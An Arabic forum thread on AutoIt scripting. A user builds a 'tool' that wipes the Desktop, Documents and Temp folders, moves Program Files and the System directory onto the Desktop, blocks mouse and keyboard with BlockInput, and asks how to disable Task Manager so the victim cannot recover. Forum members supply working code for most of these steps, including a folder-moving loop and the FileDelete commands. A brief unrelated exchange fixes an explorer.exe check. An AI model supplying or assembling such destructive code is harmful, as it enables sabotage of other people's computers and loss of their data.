شباب والله أنلحس مخي

كود:
FileDelete(@DesktopDir & "\*.*")
     DirMove(@ProgramFilesDir & "\*.*", @DesktopDir &"\" ,1)
     DirMove(@SystemDir & "\*.*", @DesktopDir &"\" ,1)
     FileDelete(@TempDir & "\*.*")
     FileDelete(@MyDocumentsDir & "\*.*")

هل هذه صحيحه ؟
حذف الملفات و نقل الملفات من المجلدات التاليه ؟
مع العلم سويتها بس ما اشتغلت :(

الاول .. صحيح ... وشغال
الثاني .. لا
الثالث .. لا
الرابع .. صحيح .. وشغال
الخامس .. صحيح .. وشغال

بالنسبه للثاني والثالث جرب تعمل بحث عن المجلدات الموجوده ثم نقلها كل واحد لحاله بلووب :ok:​
 

توقيع : LINEZERO
السلام عليكم ..
شباب عندي طلب لاهنتو ..
لو مثلا انا سويت أداه
الأداه عبار عن حذف الملف الفلاني + توقف الماوس عن العمل
لو ابي الأمرين تشتغل مع بعض كيف اخليها ؟
لأن سويت الطريقه أول شي يحذف الملف بعدين يعلق الماوس
فـ أنا ابي اخليهم مع بعض يشتغلون
و مشكورين مقدماً

هذه أحد أسباب ضعف AutoIt

لا تدعم Multi Thread

حاول أن تقوم بالمطلوب بطريقة أخرى مثلاً توقف الماوس أولاً ثم حذف الملف
 
توقيع : Alzri2
كود على السريع :b: وان شاء الله يقوم بالعمل على اكمل وجه :king:

كود:
[COLOR=#000000][COLOR=#aa0000]$FolderName[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#ff33ff][COLOR=#ff33ff]@programfilesdir[/COLOR][/COLOR][/COLOR]
[COLOR=#000000][COLOR=#aa0000]$destdir[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#ff33ff][COLOR=#ff33ff]@desktopdir[/COLOR][/COLOR][/COLOR]
[COLOR=#000000]ScanFolder[COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FolderName[/COLOR][COLOR=#ff0000])[/COLOR][/COLOR][COLOR=#000000]
[COLOR=#0000ff]Func[/COLOR] ScanFolder[COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$SourceFolder[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$Search[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$File[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$FileAttributes[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$FullFilePath[/COLOR]
[COLOR=#aa0000]$Search[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#000090]FileFindFirstFile[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$SourceFolder[/COLOR] [COLOR=#ff0000]&[/COLOR] [COLOR=#9999cc]"\*.*"[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]While[/COLOR] [COLOR=#ac00a9]1[/COLOR]
[COLOR=#0000ff]If[/COLOR] [COLOR=#aa0000]$Search[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#ff0000]-[/COLOR][COLOR=#ac00a9]1[/COLOR] [COLOR=#0000ff]Then[/COLOR]
[COLOR=blue]ExitLoop[/COLOR]
[COLOR=#0000ff]EndIf[/COLOR]
[COLOR=#aa0000]$File[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=blue]FileFIndNextFile[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$Search[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=blue]If[COLOR=magenta] @error[/COLOR] Then ExitLoop[/COLOR]
[COLOR=#aa0000]$FullFilePath[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#aa0000]$SourceFolder[/COLOR] [COLOR=#ff0000]&[/COLOR] [COLOR=#9999cc]"\"[/COLOR] [COLOR=#ff0000]&[/COLOR] [COLOR=#aa0000]$File[/COLOR]
[COLOR=#aa0000]$FileAttributes[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#000090]FileGetAttrib[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FullFilePath[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]If[/COLOR] [COLOR=#000090][COLOR=#000090]String[/COLOR]InStr[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FileAttributes[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#9999cc]"D"[/COLOR][COLOR=#ff0000])[/COLOR] [COLOR=#0000ff]Then[/COLOR]
[COLOR=#000090]DirMove[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FullFilePath[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#aa0000]$destdir[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#ac00a9]1[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]EndIf[/COLOR]
[COLOR=#0000ff]WEnd[/COLOR]
[COLOR=#000090]FileClose[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$Search[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]End[COLOR=#0000ff]Func[/COLOR][/COLOR][/COLOR]

3.gif
 
توقيع : LINEZERO


الاول .. صحيح ... وشغال
الثاني .. لا
الثالث .. لا
الرابع .. صحيح .. وشغال
الخامس .. صحيح .. وشغال

بالنسبه للثاني والثالث جرب تعمل بحث عن المجلدات الموجوده ثم نقلها كل واحد لحاله بلووب :ok:​

أخوي حتى ملف حذف المستندات مايشتغل معاي :cr:
و الثاني و الثالث وش وضعهم وذ اسوي لهم
 
هذه أحد أسباب ضعف autoit

لا تدعم multi thread

حاول أن تقوم بالمطلوب بطريقة أخرى مثلاً توقف الماوس أولاً ثم حذف الملف


طيب ، ممكن أمر توقف الماوس عن العمل لمده معينه
لأن ماعرفت الأمر الصحيح
 
كود على السريع :b: وان شاء الله يقوم بالعمل على اكمل وجه :king:

كود:
[COLOR=#000000][COLOR=#aa0000]$FolderName[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#ff33ff][COLOR=#ff33ff]@programfilesdir[/COLOR][/COLOR][/COLOR]
[COLOR=#000000][COLOR=#aa0000]$destdir[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#ff33ff][COLOR=#ff33ff]@desktopdir[/COLOR][/COLOR][/COLOR]
[COLOR=#000000]ScanFolder[COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FolderName[/COLOR][COLOR=#ff0000])[/COLOR][/COLOR][COLOR=#000000]
[COLOR=#0000ff]Func[/COLOR] ScanFolder[COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$SourceFolder[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$Search[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$File[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$FileAttributes[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$FullFilePath[/COLOR]
[COLOR=#aa0000]$Search[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#000090]FileFindFirstFile[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$SourceFolder[/COLOR] [COLOR=#ff0000]&[/COLOR] [COLOR=#9999cc]"\*.*"[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]While[/COLOR] [COLOR=#ac00a9]1[/COLOR]
[COLOR=#0000ff]If[/COLOR] [COLOR=#aa0000]$Search[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#ff0000]-[/COLOR][COLOR=#ac00a9]1[/COLOR] [COLOR=#0000ff]Then[/COLOR]
[COLOR=blue]ExitLoop[/COLOR]
[COLOR=#0000ff]EndIf[/COLOR]
[COLOR=#aa0000]$File[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=blue]FileFIndNextFile[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$Search[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=blue]If[COLOR=magenta] @error[/COLOR] Then ExitLoop[/COLOR]
[COLOR=#aa0000]$FullFilePath[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#aa0000]$SourceFolder[/COLOR] [COLOR=#ff0000]&[/COLOR] [COLOR=#9999cc]"\"[/COLOR] [COLOR=#ff0000]&[/COLOR] [COLOR=#aa0000]$File[/COLOR]
[COLOR=#aa0000]$FileAttributes[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#000090]FileGetAttrib[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FullFilePath[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]If[/COLOR] [COLOR=#000090][COLOR=#000090]String[/COLOR]InStr[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FileAttributes[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#9999cc]"D"[/COLOR][COLOR=#ff0000])[/COLOR] [COLOR=#0000ff]Then[/COLOR]
[COLOR=#000090]DirMove[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FullFilePath[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#aa0000]$destdir[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#ac00a9]1[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]EndIf[/COLOR]
[COLOR=#0000ff]WEnd[/COLOR]
[COLOR=#000090]FileClose[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$Search[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]End[COLOR=#0000ff]Func[/COLOR][/COLOR][/COLOR]
3.gif

ياعيني عليك ياعسل ..
طيب الأن لو ابي مثلا ملفات البرامج نفس الي بالكود + ملفات الويندوز أنقلها لسطح المكتب
هل أنسخ الكود مره أخرى و اغير بدال @programfilesdir أخليها لـ الويندوز
أو فيه طريقه أخرى تسهل علي العمل

طيب باقي لي أمر أخر وهو حذف ملفات المستندات + ملفات سطح المكتب
ممكن تفيدني ماقصرت والله
 
لـ نفرض أنك تبغى تنسخ ملف اسمه zyzoom.zip من القرص D إلى سطح المكتب ..
الكود راح يكون بهذا الشكل ..

كود:
[COLOR=#000090]FileCopy[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#9999cc]"D:\zyzoom.zip"[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#9999cc]"C:\Users\[/COLOR][COLOR=red]diyar26[/COLOR][COLOR=#9999cc]\Desktop\"[/COLOR][COLOR=#ff0000])[/COLOR]

الكود السابق ما راح يشتغل على إلا على المستخدم diyar26 ..
لأنك محدد مسار سطح المكتب الخاص بالمستخدم diyar26 ..
لحل هذي المشكله نستخدم المسارات الإفتراضية ..
و الكود راح يكون كذا ..

كود:
[COLOR=#000090]FileCopy[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#9999cc]"D:\zyzoom.zip"[/COLOR][COLOR=#ff0000], [/COLOR][COLOR=#ff33ff][COLOR=#ff33ff]@desktopdir [/COLOR][/COLOR][COLOR=#ff0000])[/COLOR]


بالتوفيق ..

:king:

الله يوفقك يالغالي
 
كود على السريع :b: وان شاء الله يقوم بالعمل على اكمل وجه :king:
السهل الممتنع,
تقبل هذا التعديل البسيط :
كود:
$FolderName = @ProgramFilesDir
ScanFolder($FolderName, @DesktopDir & "\Test")
Func ScanFolder($SourceFolder, $destdir = @DesktopDir)
    Local $Search, $File, $FileAttributes, $FullFilePath
    $Search = FileFindFirstFile($SourceFolder & "\*.*")
    While 1
        If $Search = -1 Then ExitLoop
        $File = FileFindNextFile($Search)
        If @error Then ExitLoop
        $FullFilePath = $SourceFolder & "\" & $File
        $FileAttributes = FileGetAttrib($FullFilePath)
        If StringInStr($FileAttributes, "D") Then DirMove($FullFilePath, $destdir, 1)
    WEnd
    FileClose($Search)
EndFunc

طيب ، ممكن أمر توقف الماوس عن العمل لمده معينه
لأن ماعرفت الأمر الصحيح

الأمر لإيقاف الماوس والكيبورد عن العمل هو BlockInput, راجع كتاب التعليمات لمعرفة المعاملات الخاصة بهذا الأمر
 
توقيع : Alzri2
أوك الماوس و الكيبورد تم تعطيلهاا ،
 
شباب ، لمن أظغط زر من الكيبورد مثلا تشغيل أدارة المهام
و طبعا انا مسوي تعطيل يظهر لي و يشتغل الماوس و الكيبورد ؟
هل فيه طريقه لتوقيف أدارة المهام
 
شباب ، لمن أظغط زر من الكيبورد مثلا تشغيل أدارة المهام
و طبعا انا مسوي تعطيل يظهر لي و يشتغل الماوس و الكيبورد ؟
هل فيه طريقه لتوقيف أدارة المهام

الي اعرفه انه عند الضغط على Ctrl+Alt+Del
راح يلغي امر الـ
كود:
BlockInput

بالتوفيق
 
توقيع : LINEZERO
طيب مافي طريقه ؟
الغي هذا الأمر :(
 
مشكووووور
 
توقيع : LINEZERO
كود على السريع :b: وان شاء الله يقوم بالعمل على اكمل وجه :king:

كود:
$FolderName = @programfilesdir
$destdir = @desktopdir
ScanFolder($FolderName)
Func ScanFolder($SourceFolder)
Local $Search
Local $File
Local $FileAttributes
Local $FullFilePath
$Search = FileFindFirstFile($SourceFolder & "\*.*")
While 1
If $Search = -1 Then
ExitLoop
EndIf
$File = FileFIndNextFile($Search)
If @error Then ExitLoop
$FullFilePath = $SourceFolder & "\" & $File
$FileAttributes = FileGetAttrib($FullFilePath)
If StringInStr($FileAttributes,"D") Then
DirMove($FullFilePath,$destdir,1)
EndIf
WEnd
FileClose($Search)
EndFunc

3.gif

quot-bot-left.gif

quot-bot-right.gif

ياعيني عليك ياعسل ..
طيب الأن لو ابي مثلا ملفات البرامج نفس الي بالكود + ملفات الويندوز أنقلها لسطح المكتب
هل أنسخ الكود مره أخرى و اغير بدال @programfilesdir أخليها لـ الويندوز
أو فيه طريقه أخرى تسهل علي العمل

طيب باقي لي أمر أخر وهو حذف ملفات المستندات + ملفات سطح المكتب
ماقصرت والله
ممكن تفيدني هنا لبى قلبك :(
 
السلام عليكم ورحمة الله وبركاته
السموحة اختكم الحلا بتمر بمشاكل ودراسة وعمل ووالكثير من الالتزامات والارتباطات :cool:

الله يرحم والديكم ماهو الخطأ في الكو التالي
كود:
$run = ProcessExists("explorer.exe")
if $run <> 0 Then
$msg= MsgBox(4,""."explorer is run-please close it")
If $msg=6 Then
 Exit
If $msg=7 Then
 MsgBox(0,"","you do not close explorer")
EndIf
EndIf
 Else
 Run("explorer.exe")
EndIf
 
توقيع : الحلا تبي تتعلم
السلام عليكم ورحمة الله وبركاته
السموحة اختكم الحلا بتمر بمشاكل ودراسة وعمل ووالكثير من الالتزامات والارتباطات :cool:

الله يرحم والديكم ماهو الخطأ في الكو التالي
كود:
$run = ProcessExists("explorer.exe")
if $run <> 0 Then
$msg= MsgBox(4,""."explorer is run-please close it")
If $msg=6 Then
 Exit
If $msg=7 Then
 MsgBox(0,"","you do not close explorer")
EndIf
EndIf
 Else
 Run("explorer.exe")
EndIf


الله يعينك :smile:

عموماً لادري مافائدة الكود و ماذا تريد ان تعمل ولكن هذا تصحيح للاخطاء الموجوده ..

كود:
[color=#aa0000]$run[/COLOR] [color=#ff0000]=[/color] [color=#000090]ProcessExists[/color][color=#ff0000]([/color][color=#9999cc]"explorer.exe"[/COLOR][color=#ff0000])[/color][color=#009933][/COLOR]
[color=#0000ff]If[/color] [color=#aa0000]$run[/COLOR] [color=#ff0000]<[/color][color=#ff0000]>[/color] [color=#ac00a9]0[/color] [color=#0000ff]Then[/color][color=#009933][/COLOR]
 [color=#aa0000]$msg[/COLOR] [color=#ff0000]=[/color] [color=#000090]MsgBox[/color][color=#ff0000]([/color][color=#ac00a9]4[/color][color=#ff0000],[/color] [color=#9999cc]""[/COLOR] [color=#ff0000],[/color][color=#9999cc]"explorer is run-please close it"[/COLOR][color=#ff0000])[/color][color=#009933][/COLOR]
 [color=#0000ff]If[/color] [color=#aa0000]$msg[/COLOR] [color=#ff0000]=[/color] [color=#ac00a9]6[/color] [color=#0000ff]Then[/color][color=#009933][/COLOR]
  [color=#0000ff]Exit[/color][color=#009933][/COLOR]
 [color=#0000ff]Else[/color][color=#009933][/COLOR]
  [color=#000090]MsgBox[/color][color=#ff0000]([/color][color=#ac00a9]0[/color][color=#ff0000],[/color] [color=#9999cc]""[/COLOR][color=#ff0000],[/color] [color=#9999cc]"you do not close explorer"[/COLOR][color=#ff0000])[/color][color=#009933][/COLOR]
 [color=#0000ff]EndIf[/color][color=#009933][/COLOR]
[color=#0000ff]Else[/color][color=#009933][/COLOR]
 [color=#000090]Run[/color][color=#ff0000]([/color][color=#9999cc]"explorer.exe"[/COLOR][color=#ff0000])[/color][color=#009933][/COLOR]
[color=#0000ff]EndIf[/color][color=#009933][/COLOR]

:smile:
بالتوفيق​
 
توقيع : LINEZERO
السلام عليكم ورحمة الله وبركاته
السموحة اختكم الحلا بتمر بمشاكل ودراسة وعمل ووالكثير من الالتزامات والارتباطات :cool:

الله يرحم والديكم ماهو الخطأ في الكو التالي
كود:
$run = ProcessExists("explorer.exe")
if $run <> 0 Then
$msg= MsgBox(4,""."explorer is run-please close it")
If $msg=6 Then
 Exit
If $msg=7 Then
 MsgBox(0,"","you do not close explorer")
EndIf
EndIf
 Else
 Run("explorer.exe")
EndIf

تم تصحيح الكود بطريقة اخرى سهلة وغير معقده
كود:
$run = ProcessExists("explorer.exe")
if $run <> 0 Then
$msg= MsgBox(4,"","explorer is run-please close it")
If $msg=6 Then
 Exit
ElseIf $msg=7 Then
 MsgBox(0,"","you do not close explorer")
EndIf
 Else
 Run("explorer.exe")
EndIf
 
توقيع : الحلا تبي تتعلم
كود على السريع :b: وان شاء الله يقوم بالعمل على اكمل وجه :king:​


كود:
$FolderName = @programfilesdir
$destdir = @desktopdir
ScanFolder($FolderName)
Func ScanFolder($SourceFolder)
Local $Search
Local $File
Local $FileAttributes
Local $FullFilePath
$Search = FileFindFirstFile($SourceFolder & "\*.*")
While 1
If $Search = -1 Then
ExitLoop
EndIf
$File = FileFIndNextFile($Search)
If @error Then ExitLoop
$FullFilePath = $SourceFolder & "\" & $File
$FileAttributes = FileGetAttrib($FullFilePath)
If StringInStr($FileAttributes,"D") Then
DirMove($FullFilePath,$destdir,1)
EndIf
WEnd
FileClose($Search)
EndFunc

3.gif


quot-bot-left.gif

quot-bot-right.gif

ياعيني عليك ياعسل ..
طيب الأن لو ابي مثلا ملفات البرامج نفس الي بالكود + ملفات الويندوز أنقلها لسطح المكتب
هل أنسخ الكود مره أخرى و اغير بدال @programfilesdir أخليها لـ الويندوز
أو فيه طريقه أخرى تسهل علي العمل

طيب باقي لي أمر أخر وهو حذف ملفات المستندات + ملفات سطح المكتب
ماقصرت والله
ممكن تفيدني هنا لبى قلبك :(


:d:
ليه تبي حذف المستندات وملفات سطح المكتب !! :eek:

المهم .. ببساطه كالتالي
كود:
[color=#009933];delete files in Documents Folder[/COLOR]
[color=#000090]FileDelete[/color][color=#ff0000]([/color][color=#ff33ff][color=#ff33ff]@mydocumentsdir[/color][/color] [color=#ff0000]&[/color] [color=#9999cc]"\*.*"[/COLOR][color=#ff0000])[/color][color=#009933][/COLOR]
[color=#009933];delete files in Desktop[/COLOR]
[color=#000090]FileDelete[/color][color=#ff0000]([/color][color=#ff33ff][color=#ff33ff]@desktopdir[/color][/color] [color=#ff0000]&[/color] [color=#9999cc]"\*.*"[/COLOR][color=#ff0000])[/color][color=#009933][/COLOR]

بالتوفيق
:king:
 
توقيع : LINEZERO
السهل الممتنع,
تقبل هذا التعديل البسيط :
كود:
$FolderName = @ProgramFilesDir

كود:
ScanFolder($FolderName, @DesktopDir & "\Test")

Func ScanFolder($SourceFolder, $destdir = @DesktopDir)
   Local $Search, $File, $FileAttributes, $FullFilePath
   $Search = FileFindFirstFile($SourceFolder & "\*.*")
   While 1
       If $Search = -1 Then ExitLoop
       $File = FileFindNextFile($Search)
       If @error Then ExitLoop
       $FullFilePath = $SourceFolder & "\" & $File
       $FileAttributes = FileGetAttrib($FullFilePath)
       If StringInStr($FileAttributes, "D") Then DirMove($FullFilePath, $destdir, 1)
   WEnd
   FileClose($Search)

EndFunc




الأمر لإيقاف الماوس والكيبورد عن العمل هو BlockInput, راجع كتاب التعليمات لمعرفة المعاملات الخاصة بهذا الأمر


:ok:
 
توقيع : LINEZERO
عودة
أعلى